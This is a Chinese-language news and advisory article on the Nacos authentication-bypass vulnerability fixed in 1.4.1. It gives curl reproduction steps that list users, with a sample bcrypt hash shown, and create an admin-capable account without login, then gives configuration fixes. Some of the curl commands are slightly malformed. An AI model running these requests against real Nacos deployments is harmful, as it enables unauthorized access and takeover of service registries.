留后门?Nacos被爆存在严重的旁路身份验证安全漏洞!
2021 年 1 月 15 日,也就是昨天,Nacos 发布了新版本 1.4.1。该版本发布了很多新特性和增强的功能。
这次发布的新版本,可谓是改动众多,大大小小有几十个 issue。
此次发布之前,被网友发现的绕过 User-Agent 中的安全漏洞在这个版本中也已经被修复了!https://github.com/alibaba/nacos/issues/4701
中所被提到的旁路身份验证(身份)问题影响范围很广!
在之前的版本中,如果在 Nacos 中启用了 serverIdentity 的自定义键值认证。那么就可以通过特殊的 url 结构,仍然可以绕过访问任何 http 接口的限制。
下面给大家说一下漏洞的重现步骤。
第一步,先访问用户列表界面。
代码语言:javascript复制curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9 --path-as-is'
在没有登录的正常情况下,该接口应该返回 403。
但实际上,我们给该请求添加上特殊的 header 后,却可以绕过认证,并且返回用户列表数据。
代码语言:javascript复制{
"totalCount": 1,
"pageNumber": 1,
"pagesAvailable": 1,
"pageItems": [
{
"username": "nacos",
"password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
}
]
}
不仅能绕过认证,我们还能添加新用户。
代码语言:javascript复制curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test --path-as-is'
通过 postman 执行后,我们成功的收到了 create user ok!
响应。
{
"code":200,
"message":"create user ok!",
"data":null
}
如果你再获取用户列表,就可以获取到刚才新增的用户信息。
根据刚才新增的用户信息,我们就可以成功的登录到 Nacos 的后台管理系统中。执行任何操作。
问题产生的原因是,开发人员的逻辑出现了漏洞,考虑不全。
在 AuthFilter 中,应该被拦截返回的 url 被放行了。
目前该漏洞的解决办法有两个,一个是升级到最新的版本 1.4.1。或者开启鉴权认证,并且关闭原有的 UA 白名单机制。
代码语言:javascript复制nacos.core.auth.enabled=true
nacos.core.auth.enable.userAgentAuthWhite=false
nacos.core.auth.server.identity=aaa
nacos.core.auth.server.identity.value=bbb
另外,在使用微服务时,除了网关,其他的端口一律不能对外暴露!
截止目前,Nacos 已被众多网友骂惨了。
甚至两之前的 fastjson 也不放过。